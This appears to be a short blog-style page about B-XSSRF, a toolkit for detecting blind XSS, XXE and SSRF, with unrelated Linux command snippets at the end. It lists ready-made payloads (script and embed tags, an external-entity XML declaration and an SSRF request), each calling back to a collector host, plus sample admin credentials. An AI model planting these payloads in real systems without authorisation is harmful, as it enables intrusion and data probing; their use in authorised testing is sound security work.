B-XSSRF is a toolkit to detect and keep track on Blind XSS, XXE & SSRF.
Read More – RedHunt OS : Virtual Machine for Adversary Emulation & Threat Hunting
SETUP
BLIND XSS
<embed src=”http://mysite.com/bxssrf/request.php”>
<script src=”http://mysite.com/bxssrf/request.php”>
BLIND XXE
<?xml version=”1.0″ ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM “http://mysite.com/bxssrf/request.php”> %ext;
]>
<r>
SSRF
GET /testssrf.php=http://mysite.com/bxssrf/request.php
USER : admin@test.com
PASS : 123456
The groupdel command in Linux removes a group from the system. It deletes the group's entry from /etc/group and /etc/gshadow,…
The wc command in Linux counts lines, words, characters, and bytes in files or standard input. It…
The top command in Linux provides a real-time view of running processes and system resource usage. From…
The usermod command in Linux modifies existing user account attributes. You can use it to manage group…
The sort command in Linux reads lines from files or standard input and writes them to standard…
The wall command in Linux sends a message to the terminals of all currently logged-in users. The…